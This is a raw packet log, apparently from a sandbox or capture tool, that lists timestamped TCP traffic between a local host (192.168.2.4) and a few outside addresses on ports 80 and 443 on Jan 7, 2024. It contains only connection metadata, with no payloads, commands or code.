Jan 7, 2024 05:29:49.449433088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.449754000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449821949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449903965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449956894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.449978113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450023890 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.450105906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450185061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450362921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450453043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.450457096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450491905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.450530052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450639963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450716019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450753927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.450778961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.450814009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.450982094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.451061964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.451442957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.452662945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.452733994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453258991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453301907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.453324080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453361034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.453402996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453614950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453809977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453855991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.453883886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.453926086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.453938961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.454046965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.457434893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.644887924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.644942045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.645046949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.645107031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.645210028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.645462990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.646059036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646186113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646266937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646310091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646322012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.646348953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.646769047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646784067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646831989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.646832943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646878958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.646922112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.647067070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.647119999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.647181034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.647221088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.647258997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.647294044 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.647301912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.647475004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649143934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649209023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.649231911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649272919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.649310112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649380922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649432898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.649467945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649527073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649576902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649591923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.649621964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.649635077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.653060913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.653119087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.653179884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.836549997 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.836772919 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.836883068 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.839497089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.839521885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.839535952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.839592934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.839802027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.839843035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.840416908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.840513945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.840785980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.840810061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.840833902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.840867996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.841227055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.841324091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.841424942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.841430902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.841602087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.841644049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.841972113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.842439890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.842588902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.842641115 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.842761040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.842802048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.844161034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844518900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844532013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844546080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844587088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.844820023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844954014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844974995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.844988108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.845000029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.845012903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.845011950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.845037937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.845055103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.848262072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.848277092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.848339081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.864216089 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.864253998 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.864273071 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.864280939 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.884550095 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.884598970 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.884676933 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.897701025 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.897726059 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.035772085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.035789967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.035857916 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.035897017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.036076069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.036118984 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.037115097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.037436962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.037550926 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.037595034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.037609100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.037646055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.037748098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.038110018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.038156033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.038269997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.038542986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.038590908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.039164066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.039319038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.039335966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.039355040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.039375067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.039407969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.041198015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041210890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041224003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041258097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.041354895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041393042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.041558027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041570902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041585922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041605949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.041696072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041729927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.041764021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.041938066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.043864012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.044764042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.044785023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.044797897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.044826031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.091073036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.096223116 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.096288919 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.102159977 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.102183104 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.102487087 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.103723049 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.103765011 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.103806973 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.230206013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.230257988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.230315924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.230333090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.230436087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.230484962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.231940031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232057095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232085943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232110023 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.232145071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232194901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.232604027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232664108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.232745886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.233047962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.233119965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.233227015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.233688116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.233771086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.233813047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.233853102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.233925104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.234118938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.235640049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.235733986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.235795975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.235846996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.235965014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.236011982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.236027956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.236109972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.236190081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.236231089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.236251116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.236289024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.238107920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.238224030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.238291979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.239047050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.239097118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.239218950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.285594940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.285742998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.285794020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.403048992 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:50.403105021 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:50.403230906 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:50.411148071 CET	49740	443	192.168.2.4	192.36.38.33
Jan 7, 2024 05:29:50.411175013 CET	443	49740	192.36.38.33	192.168.2.4
Jan 7, 2024 05:29:50.424329042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.424348116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.424386978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.424401999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.424408913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.424442053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.426160097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426175117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426222086 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.426291943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426316023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426940918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426954985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.426984072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.427002907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.427499056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.427587986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.427629948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.428234100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.428251028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.428450108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.428492069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.430239916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430253983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430279016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430300951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.430325985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.430356979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430372000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430383921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430397034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430409908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.430418968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.430434942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.431955099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.431999922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.432048082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.432846069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.432868004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.432890892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.479819059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.479836941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.479897976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.479897022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.479938030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.547740936 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547797918 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547838926 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547874928 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547908068 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547909021 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.547950983 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.547979116 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.547993898 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.548000097 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548125029 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548151970 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548162937 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.548168898 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548490047 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.548609972 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548790932 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548907042 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.548942089 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.548949957 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.549043894 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.549101114 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.549207926 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.549222946 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.549238920 CET	49739	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.549243927 CET	443	49739	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.583718061 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.583800077 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.583975077 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.584487915 CET	49741	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:50.584501028 CET	443	49741	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:50.619709969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.619786978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.619847059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.619874001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.621849060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.621906042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.621918917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.621963024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623073101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623095989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623115063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623132944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623187065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623231888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623260975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623306036 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623629093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623642921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.623670101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.623697996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.624824047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.624866009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.624916077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.624949932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.626877069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.626907110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.626950979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.626993895 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:50.627022982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:50.627032995 CET	49735	80	192.168.2.4	91.215.85.120
